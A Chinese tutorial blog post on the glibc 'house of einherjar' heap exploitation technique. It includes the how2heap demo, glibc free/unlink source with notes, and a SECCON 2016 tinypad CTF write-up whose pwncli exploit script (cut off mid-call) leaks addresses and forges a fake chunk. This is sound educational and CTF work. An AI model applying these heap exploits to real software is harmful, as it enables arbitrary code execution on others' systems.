查看原文
其他

堆利用学习:the house of einherjar

selph 看雪学苑 2024-04-20

最近在进行堆利用相关的学习,打算把公开的各种利用技术整理学习一遍。





漏洞成因


overflow writeoff by oneoff by null

目的是修改chunk的prev_inuse标志位。





适用范围


2.23—— 至今

◆可分配大于处于unsortedbinchunk





利用原理


利用off by null修改掉chunksize域的P位,绕过unlink检查,在堆的后向合并过程中构造出chunk overlapping


◆申请chunk A、chunk B、chunk C、chunk Dchunk D用来做gapchunk A、chunk C都要处于unsortedbin范围。

◆释放A,进入unsortedbin。

◆对B写操作的时候存在off by null,修改了CP位。

◆释放C的时候,堆后向合并,直接把A、B、C三块内存合并为了一个chunk,并放到了unsortedbin里面。

◆读写合并后的大chunk可以操作chunk B的内容,chunk B的头。


和the house of spirit有点像,hos修改size制作fake chunk,释放再申请得到堆块重叠

house of einherjar利用空字节溢出覆盖prev_used为0,基于堆块合并合并到fake chunk,得到堆块重叠





相关技巧


虽然该利用技巧至今仍可以利用,但是需要对unlink绕过的条件随着版本的增加有所变化。


最开始的unlink的代码是:


/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
// ..... \
} \
}


2个需要绕过的点:

1.只需要绕过__builtin_expect (FD->bk != P || BK->fd != P, 0)即可,因此,不需要伪造地址处于高位的chunkpresize域。

2.高版本的unlink的条件是:新增了chunksize (p) != prev_size (next_chunk (p)),对chunksize有了检查,伪造的时候需要绕过。


如果fake chunk距离较远,可能需要地址泄露。





利用效果


◆构造chunk overlap后,可以任意地址分配

◆结合其他方法进行任意地址读写


实验:how2heap - house of einherjar


实验环境:libc-2.35


#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
/*
* This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.
* The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().
* It has the additional requirement of a heap leak.
*
* After filling the tcache list to bypass the restriction of consolidating with a fake chunk,
* we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.
* The following restriction for normal bins won't allow us to create chunks bigger than the memory
* allocated from the system in this arena:
*
* https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */

setbuf(stdin, NULL);
setbuf(stdout, NULL);

printf("Welcome to House of Einherjar 2!\n");
printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n");
printf("Next, we use tcache poisoning to hijack control flow.\n"
"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,"
"now tcache poisoning requires a heap leak.\n");

// prepare the target,
// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,
// it must be properly aligned.
intptr_t stack_var[0x10];
intptr_t *target = NULL;

// choose a properly aligned target address
for(int i=0; i<0x10; i++) {
if(((long)&stack_var[i] & 0xf) == 0) {
target = &stack_var[i];
break;
}
}
assert(target != NULL);
printf("\nThe address we want malloc() to return is %p.\n", (char *)target);

printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n");
intptr_t *a = malloc(0x38);

// create a fake chunk
printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");

a[0] = 0; // prev_size (Not Used)
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

printf("Our fake chunk at %p looks like:\n", a);
printf("prev_size (not used): %#lx\n", a[0]);
printf("size: %#lx\n", a[1]);
printf("fwd: %#lx\n", a[2]);
printf("bck: %#lx\n", a[3]);

printf("\nWe allocate 0x28 bytes for 'b'.\n"
"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n"
"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n");
uint8_t *b = (uint8_t *) malloc(0x28);
printf("b: %p\n", b);

int real_b_size = malloc_usable_size(b);
printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);

/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
printf("\nWe allocate 0xf8 bytes for 'c'.\n");
uint8_t *c = (uint8_t *) malloc(0xf8);

printf("c: %p\n", c);

uint64_t* c_size_ptr = (uint64_t*)(c - 8);
// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit

printf("\nc.size: %#lx\n", *c_size_ptr);
printf("c.size is: (0x100) | prev_inuse = 0x101\n");

printf("We overflow 'b' with a single null byte into the metadata of 'c'\n");
// VULNERABILITY
b[real_b_size] = 0;
// VULNERABILITY
printf("c.size: %#lx\n", *c_size_ptr);

printf("It is easier if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");

// Write a fake prev_size to the end of b
printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;

// Change the fake chunk's size to reflect c's new prev_size
printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n");
a[1] = fake_size;

printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);

// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk
printf("\nFill tcache.\n");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
x[i] = malloc(0xf8);
}

printf("Fill up tcache list.\n");
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) {
free(x[i]);
}

printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n");
free(c);
printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);

printf("\nNow we can call malloc() and it will begin in our fake chunk\n");

intptr_t *d = malloc(0x158);
printf("Next malloc(0x158) is at %p\n", d);

// tcache poisoning
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n");
uint8_t *pad = malloc(0x28);
free(pad);

printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n");
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, pad);

printf("We overwrite b's fwd pointer using chunk 'd'\n");
// requires a heap leak because it assumes the address of d is known.
// since house of einherjar also requires a heap leak, we can simply just use it here.
d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);

// take target out
printf("Now we can cash out the target chunk.\n");
malloc(0x28);
intptr_t *e = malloc(0x28);
printf("\nThe new chunk is at %p\n", e);

// sanity check
assert(e == target);
printf("Got control on target/stack!\n\n");
}


代码挺长,但思路很简单:


1.申请chunkA,chunkB,chunkC


0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................

0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................

0x555555559300 0x0000000000000000 0x0000000000000101 ................
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................

0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk


2.chunkB溢出覆盖chunkC的Prev_used标志位,设置Prev_size字段:


0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......
0x5555555592a0 0x0000000000000000 0x0000000000000060 ........`.......
0x5555555592b0 0x00005555555592a0 0x00005555555592a0 ..UUUU....UUUU..
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................

0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................

0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................

0x555555559400 0x0000000000000000 0x0000000000020c01 ................ <-- Top chunk


3.然后释放ChunkC,触发堆块合并:(如果大小在tcachebin范围内,需要先填充满tcachebin)


0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......

0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a....... <-- unsortedbin[all][0]
0x5555555592b0 0x00007ffff7fa3ce0 0x00007ffff7fa3ce0 .<.......<......
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x0000000000000000 0x0000000000000000 ................
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................

0x555555559400 0x0000000000000160 0x0000000000000100 `...............


4.再次申请合并后大小的chunkD,造成堆块重叠,释放中间重叠的chunkB,即可通过chunkD修改其next指针


0x555555559290 0x0000000000000000 0x0000000000000041 ........A.......

0x5555555592a0 0x0000000000000000 0x0000000000000161 ........a.......
0x5555555592b0 0x0000000555555559 0x0000000000000000 YUUU............
0x5555555592c0 0x0000000000000000 0x0000000000000000 ................
0x5555555592d0 0x0000000000000000 0x0000000000000031 ........1.......
0x5555555592e0 0x000055500000ce49 0xf426fbe4ada38f47 I...PU..G.....&. <-- tcachebins[0x30][0/2]
0x5555555592f0 0x0000000000000000 0x0000000000000000 ................
0x555555559300 0x0000000000000060 0x0000000000000100 `...............
0x555555559310 0x0000000000000000 0x0000000000000000 ................
0x555555559320 0x0000000000000000 0x0000000000000000 ................
0x555555559330 0x0000000000000000 0x0000000000000000 ................
0x555555559340 0x0000000000000000 0x0000000000000000 ................
0x555555559350 0x0000000000000000 0x0000000000000000 ................
0x555555559360 0x0000000000000000 0x0000000000000000 ................
0x555555559370 0x0000000000000000 0x0000000000000000 ................
0x555555559380 0x0000000000000000 0x0000000000000000 ................
0x555555559390 0x0000000000000000 0x0000000000000000 ................
0x5555555593a0 0x0000000000000000 0x0000000000000000 ................
0x5555555593b0 0x0000000000000000 0x0000000000000000 ................
0x5555555593c0 0x0000000000000000 0x0000000000000000 ................
0x5555555593d0 0x0000000000000000 0x0000000000000000 ................
0x5555555593e0 0x0000000000000000 0x0000000000000000 ................
0x5555555593f0 0x0000000000000000 0x0000000000000000 ................
0x555555559400 0x0000000000000160


5.注意这里覆盖next指针要计算加密后的结果保存进去,覆盖tcachebin的next指针即可实现任意地址申请


堆块合并的过程和安全检查都是什么?


_int_free的流程中,先看能不能放进tcachebin,放不下就试试fastbin,放不了的话,最终再考虑装入unsortedbin。


装入之前会先进行合并操作。


合并之前会进行一系列检查:

/* Lightweight tests: check whether the block is already the
top block. */
// 释放的chunk是top chunk,报错
if (__glibc_unlikely(p == av->top))
malloc_printerr("double free or corruption (top)");

/* Or whether the next chunk is beyond the boundaries of the arena. */
// 下一个chunk的大小超过了arena容纳的边界,报错
// 对比下一个chunk的位置不能超过top chunk
if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
malloc_printerr("double free or corruption (out)");

/* Or whether the block is actually not marked used. */
// 如果下一个chunk的prev_inuse位没有设置,报错
// 该标志位意味着上一个chunk被使用,只有被使用的chunk才能被释放,已经释放了的chunk不能被释放,报错
if (__glibc_unlikely(!prev_inuse(nextchunk)))
malloc_printerr("double free or corruption (!prev)");

// 检查下一个chunk的大小,太小了,或者超过系统内存了,报错,只要不要太小或者过大就行
nextsize = chunksize(nextchunk);
if (__builtin_expect(chunksize_nomask(nextchunk) <= CHUNK_HDR_SZ, 0) || __builtin_expect(nextsize >= av->system_mem, 0))
malloc_printerr("free(): invalid next size (normal)");


首先进行一系列安全检查:

1.安全检查:释放的chunk不能是top chunk。

2.安全检查:下一个chunk的大小不能超过top chunk边界。

3.安全检查:确保当前释放的chunk是使用中的chunk,检查下一个chunk的prev_inuse标志位。

4.安全检查:下一个chunk的大小不能太小(小于chunk hdr)或者太大(大于系统内存)。


首先向低地址合并:

// 从后向前合并
/* consolidate backward */
if (!prev_inuse(p)) // 如果上一个chunk是空闲的
{
// 获取prev_size大小
// chunk hdr 开头:prec_size size
prevsize = prev_size(p);
// 计算总大小
size += prevsize;
// 安全检查,使用prev_size计算出上一个chunk的地址,使用上一个chunk header的大小和下一个chunk的prev_size比较,如果不相等,报错
p = chunk_at_offset(p, -((long)prevsize));
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size while consolidating");

// 断链上一个chunk
unlink_chunk(av, p);
}


如果上面的chunk是空闲的,就计算合并后大小,将其断链。


然后尝试向高地址合并:

if (nextchunk != av->top)
{
// 获取再下一个chunk的inuse位
/* get and clear inuse bit */
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

/* consolidate forward */
// 如果是空闲的,说明下一个chunk也是空闲的,合并
if (!nextinuse)
{
// 再次断链
unlink_chunk(av, nextchunk);
// 大小累加
size += nextsize;
}
else
// 否则,就清空下一个chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);

/*
Place the chunk in unsorted chunk list. Chunks are
not placed into regular bins until after they have
been given one chance to be used in malloc.
*/
// 放置chunk到unsorted chunk list
// 它们在被放置到bins里之前,有一次机会被malloc使用
bck = unsorted_chunks(av);
fwd = bck->fd;
// 安全检查:检查双向链表是否完整,但是只检查一个方向bck->fd->bk == bck
if (__glibc_unlikely(fwd->bk != bck))
malloc_printerr("free(): corrupted unsorted chunks");

// 节点插入链表
p->fd = fwd;
p->bk = bck;

// 如果是largebin chunk
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;

// 设置头部size和下一个chunk的prev_size
set_head(p, size | PREV_INUSE);
set_foot(p, size);

check_free_chunk(av, p);
}

/*
If the chunk borders the current high end of memory,
consolidate into top
*/
// 如果下一个chunk是top chunk,就合并给top chunk
else
{
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
check_chunk(av, p);
}


如果后面一个chunk是空闲的,也将其断链取出,计算合并后总大小,把合并后的整体作为一个chunk装入unsortedbin。


如果后面一个chunk是top chunk,就直接合并到top chunk中。


断链操作的过程和安全检查是什么?


/* Take a chunk off a bin list. */
static void
unlink_chunk(mstate av, mchunkptr p)
{
// 安全检查:如果当前chunk的大小不等于next chunk的prev_size,说明被篡改了数据,报错
if (chunksize(p) != prev_size(next_chunk(p)))
malloc_printerr("corrupted size vs. prev_size");

mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

// 安全检查:如果当前chunk的fd的bk不等于当前chunk,或者bk的fd不等于当前chunk,说明双向链表链接出错,报错
if (__builtin_expect(fd->bk != p || bk->fd != p, 0))
malloc_printerr("corrupted double-linked list");

// 断链操作
fd->bk = bk;
bk->fd = fd;

// 如果是large chunk
// 如果不是smallbin,且fd_nextsize不为空,说明是large chunk
if (!in_smallbin_range(chunksize_nomask(p)) && p->fd_nextsize != NULL)
{
// 安全检查:largebin的第二条双链完整性检查
// 安全检查:如果fd_nextsize的bk_nextsize不等于p,或者bk_nextsize的fd_nextsize不等于p,说明双向链表链接出错,报错
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr("corrupted double-linked list (not small)");

// 如果存在其他大小范围的large chunk
if (fd->fd_nextsize == NULL)
{
// 如果其他大小的large chunk是自己,就设置为自己
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
// nextsize链表断链
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
// 正常的断链
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}


断链流程如上,主要是两个检查:

1.断链chunk的大小检查,对比其size和next chunk的prev_size(这是新增的检查,老版本没有)。

2.双链表完整性检查。


实验:seccon ctf 2016 tinypad


使用的libc版本:2.23,需要在一个无tcache机制的环境下复现,该题由于申请次数限制(4)无法跳过tcachebin。


题目是经典菜单题,选项都写在了main函数里:


show:每次输入完命令都会打印这几个申请内存的内容。

for ( i = 0; i <= 3; ++i )
{
LOBYTE(c) = i + 49;
writeln("+------------------------------------------------------------------------------+\n", 81LL);
write_n(" # INDEX: ", 12LL, v5);
writeln(&c, 1LL);
write_n(" # CONTENT: ", 12LL, v6);
if ( *(_QWORD *)&tinypad[16 * i + 0x108] )
{
v7 = strlen(*(const char **)&tinypad[16 * i + 0x108]);
writeln(*(_QWORD *)&tinypad[16 * i + 0x108], v7);
}
writeln(&unk_4019F0, 1LL);
}


delete:删除的时候没有清空指针。


if ( input_cmd == 'D' ) // delete
{
write_n("(INDEX)>>> ", 11LL, v9);
index = read_int();
if ( index <= 0 || index > 4 )
{
LABEL_29:
writeln("Invalid index", 13LL);
continue;
}
if ( !*(_QWORD *)&tinypad[16 * index + 240] )
{
LABEL_31:
writeln("Not used", 8LL);
continue;
}
free(*(void **)&tinypad[16 * index + 248]);
*(_QWORD *)&tinypad[16 * index + 240] = 0LL;
writeln("\nDeleted.", 9LL);
}


edit:编辑的时候,会把输入的内容保存到缓冲区全局变量里等待确认,确认了再复制到堆里。


if ( input_cmd != 'E' )
{
if ( input_cmd == 'Q' )
continue;
LABEL_41:
writeln("No such a command", 17LL);
continue;
}
write_n("(INDEX)>>> ", 11LL, v9);
index = read_int(); // 0 1 2 3
if ( index <= 0 || index > 4 )
goto LABEL_29;
if ( !*(_QWORD *)&tinypad[16 * index + 240] )
goto LABEL_31;
c = 48;
strcpy(tinypad, *(const char **)&tinypad[16 * index + 248]);
while ( toupper(c) != 'Y' )
{
write_n("CONTENT: ", 9LL, v16);
v12 = strlen(tinypad);
writeln(tinypad, v12);
write_n("(CONTENT)>>> ", 13LL, v13);
v14 = strlen(*(const char **)&tinypad[16 * index + 248]);
read_until(tinypad, v14, 10LL);
writeln("Is it OK?", 9LL);
write_n("(Y/n)>>> ", 9LL, v15);
read_until(&c, 1LL, 10LL);
}
strcpy(*(char **)&tinypad[16 * index + 248], tinypad);
writeln("\nEdited.", 8LL);


add:这里存在offbynull,会把指针保存在全局变量里,位于刚刚用的缓冲区之后。


if ( input_cmd != 'A' )
goto LABEL_41;
while ( index <= 3 )
{
v9 = 16 * (index + 16LL);
if ( !*(_QWORD *)&tinypad[v9] )
break;
++index;
}
if ( index == 4 )
{
writeln("No space is left.", 17LL);
}
else
{
add_size = -1;
write_n("(SIZE)>>> ", 10LL, v9); // 大小范围:1-256
add_size = read_int();
if ( add_size <= 0 )
{
v10 = 1;
}
else
{
v10 = add_size;
if ( (unsigned __int64)add_size > 0x100 )
v10 = 256;
}
add_size = v10;
*(_QWORD *)&tinypad[16 * index + 256] = v10;
*(_QWORD *)&tinypad[16 * index + 264] = malloc(add_size);
v11 = 16 * (index + 16LL);
if ( !*(_QWORD *)&tinypad[v11 + 8] )
{
writerrln("[!] No memory is available.", 27LL);
exit(-1);
}
write_n("(CONTENT)>>> ", 13LL, v11);
read_until(*(_QWORD *)&tinypad[16 * index + 264], add_size, 10LL);// off by null
writeln("\nAdded.", 7LL);
}


这里可以在全局变量里构造fake chunk,堆中存在off by null,如果可以泄露堆地址,就能计算距离全局变量的偏移,就能进行house of einherjar利用了。


连续申请4个chunk,释放第1个和第3个,就能拿到两个堆和libc的地址泄露,此时的堆布局:


pwndbg> vis

0x1669000 0x0000000000000000 0x00000000000000f1 ................ <-- unsortedbin[all][0]
0x1669010 0x00000000016691f0 0x00007f0020ebfb78 ..f.....x.. ....
0x1669020 0x0000000000000000 0x0000000000000000 ................
0x1669030 0x0000000000000000 0x0000000000000000 ................
0x1669040 0x0000000000000000 0x0000000000000000 ................
0x1669050 0x0000000000000000 0x0000000000000000 ................
0x1669060 0x0000000000000000 0x0000000000000000 ................
0x1669070 0x0000000000000000 0x0000000000000000 ................
0x1669080 0x0000000000000000 0x0000000000000000 ................
0x1669090 0x0000000000000000 0x0000000000000000 ................
0x16690a0 0x0000000000000000 0x0000000000000000 ................
0x16690b0 0x0000000000000000 0x0000000000000000 ................
0x16690c0 0x0000000000000000 0x0000000000000000 ................
0x16690d0 0x0000000000000000 0x0000000000000000 ................
0x16690e0 0x0000000000000000 0x0000000000000000 ................

0x16690f0 0x00000000000000f0 0x0000000000000100 ................
0x1669100 0x0000000000000062 0x0000000000000000 b...............
0x1669110 0x0000000000000000 0x0000000000000000 ................
0x1669120 0x0000000000000000 0x0000000000000000 ................
0x1669130 0x0000000000000000 0x0000000000000000 ................
0x1669140 0x0000000000000000 0x0000000000000000 ................
0x1669150 0x0000000000000000 0x0000000000000000 ................
0x1669160 0x0000000000000000 0x0000000000000000 ................
0x1669170 0x0000000000000000 0x0000000000000000 ................
0x1669180 0x0000000000000000 0x0000000000000000 ................
0x1669190 0x0000000000000000 0x0000000000000000 ................
0x16691a0 0x0000000000000000 0x0000000000000000 ................
0x16691b0 0x0000000000000000 0x0000000000000000 ................
0x16691c0 0x0000000000000000 0x0000000000000000 ................
0x16691d0 0x0000000000000000 0x0000000000000000 ................
0x16691e0 0x0000000000000000 0x0000000000000000 ................

0x16691f0 0x0000000000000000 0x0000000000000101 ................ <-- unsortedbin[all][1]
0x1669200 0x00007f0020ebfb78 0x0000000001669000 x.. ......f.....
0x1669210 0x0000000000000000 0x0000000000000000 ................
0x1669220 0x0000000000000000 0x0000000000000000 ................
0x1669230 0x0000000000000000 0x0000000000000000 ................
0x1669240 0x0000000000000000 0x0000000000000000 ................
0x1669250 0x0000000000000000 0x0000000000000000 ................
0x1669260 0x0000000000000000 0x0000000000000000 ................
0x1669270 0x0000000000000000 0x0000000000000000 ................
0x1669280 0x0000000000000000 0x0000000000000000 ................
0x1669290 0x0000000000000000 0x0000000000000000 ................
0x16692a0 0x0000000000000000 0x0000000000000000 ................
0x16692b0 0x0000000000000000 0x0000000000000000 ................
0x16692c0 0x0000000000000000 0x0000000000000000 ................
0x16692d0 0x0000000000000000 0x0000000000000000 ................
0x16692e0 0x0000000000000000 0x0000000000000000 ................

0x16692f0 0x0000000000000100 0x0000000000000100 ................
0x1669300 0x0000000000000064 0x0000000000000000 d...............
0x1669310 0x0000000000000000 0x0000000000000000 ................
0x1669320 0x0000000000000000 0x0000000000000000 ................
0x1669330 0x0000000000000000 0x0000000000000000 ................
0x1669340 0x0000000000000000 0x0000000000000000 ................
0x1669350 0x0000000000000000 0x0000000000000000 ................
0x1669360 0x0000000000000000 0x0000000000000000 ................
0x1669370 0x0000000000000000 0x0000000000000000 ................
0x1669380 0x0000000000000000 0x0000000000000000 ................
0x1669390 0x0000000000000000 0x0000000000000000 ................
0x16693a0 0x0000000000000000 0x0000000000000000 ................
0x16693b0 0x0000000000000000 0x0000000000000000 ................
0x16693c0 0x0000000000000000 0x0000000000000000 ................
0x16693d0 0x0000000000000000 0x0000000000000000 ................
0x16693e0 0x0000000000000000 0x0000000000000000 ................

0x16693f0 0x0000000000000000 0x0000000000020c11 ................ <-- Top chunk


接下来去释放chunk4,计算偏移,构造fake chunk,释放chunk2,完成house_of_einherjar。


fake chunk:


pwndbg> dq 0x602040 100
0000000000602040 0000000000000000 00000000011d3fc1
0000000000602050 0000000000602040 0000000000602040
0000000000602060 0000000000602040 0000000000602040
0000000000602070 6161616e61616100 616161706161616f
0000000000602080 6161617261616171 6161617461616173
0000000000602090 6161617661616175 6161617861616177
00000000006020a0 6261617a61616179 6261616362616162
00000000006020b0 6261616562616164 6261616762616166
00000000006020c0 6261616962616168 6261616b6261616a
00000000006020d0 6261616d6261616c 6261616f6261616e
00000000006020e0 6261617162616170 6261617362616172
00000000006020f0 6261617562616174 6261617762616176
0000000000602100 6261617962616178 636161626361617a
0000000000602110 6361616463616163 6361616663616165
0000000000602120 00000000011b30b0 0000000000000000
0000000000602130 0000000000000000 0000000000000000
0000000000602140 00000000000000e8 00000000017b5010 chunk1
0000000000602150 0000000000000000 00000000017b5100 chunk2
0000000000602160 0000000000000000 00000000017b5200 chunk3
0000000000602170 0000000000000000 00000000017b5300 chunk4


结果就是,合并top chunk到这里了:


pwndbg> top_chunk
PREV_INUSE
Addr: 0x602040
Size: 0x11d3fc0 (with flag bits: 0x11d3fc1)


接下来的操作就是泄露栈地址,修改main函数返回地址为one gadget然后触发即可。


有了libc泄露,就能拿到__environ的值,泄露栈地址:


只需要修改其中的一个指针为该变量,自动打印数据的时候,就会打印出来。

为什么不能修改__free_hook写入system函数呢?这里修改的时候会先计算该地址的字符串的长度(strlen),然后根据这个长度去写入内容,__free_hook内容是0,没法写入


完整exp:


#!/usr/bin/env python3
# Date: 2024-01-04 14:29:20
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port

from pwncli import *
cli_script()


io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

one_gadgets: list = get_current_one_gadget_from_libc(more=False)
# CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=False, do_initial=False)

def cmd(i, prompt='(CMD)>>> '):
sla(prompt, i)

def add(nb,content):
cmd('A')
sla('(SIZE)>>> ',str(nb))
sla('(CONTENT)>>> ',content)

"""
(INDEX)>>> 1
CONTENT: 1231
(CONTENT)>>> 123123
Is it OK?
(Y/n)>>> y
"""
def edit(idx,content):
cmd('E')
sla('(INDEX)>>> ',str(idx))
ru('CONTENT: ')
tmp = rl()[:-1]
sla('(CONTENT)>>> ',content)
sla('(Y/n)>>> ','Y')
return tmp

def edit_ori(idx):
cmd('E')
sla('(INDEX)>>> ',str(idx))
ru('CONTENT: ')
tmp = rl()[:-1]
sla('(CONTENT)>>> ',tmp)
sla('(Y/n)>>> ','Y')
return tmp


def exit():
cmd('Q')
#......

def dele(idx):
cmd('D')
sla('(INDEX)>>> ',str(idx))
#......

# ==================
add(0xe8,'a')
add(0xf8,'b')
add(0xf8,'c')
add(0xf8,'d')

dele(3)
dele(1)

ru('INDEX: 1')
ru('CONTENT: ')
heap_leak = rl()[:-1]

ru('INDEX: 3')
ru('CONTENT: ')
libc_leak = rl()[:-1]


heap_addr = unpack(heap_leak,'all') & 0xfffff000
libc.address = unpack(libc_leak,'all') -0x3c4b78
log.info(f'heap addr => {hex(heap_addr)}')
log.info(f'libc addr => {hex(libc.address)}')

dele(4)

tinypad = 0x0000000000602040
prev_size = heap_addr + 0xf0 - tinypad

add(0xe8,flat({
0xe0:pack(prev_size)
},length=0x110))


edit(1,flat({
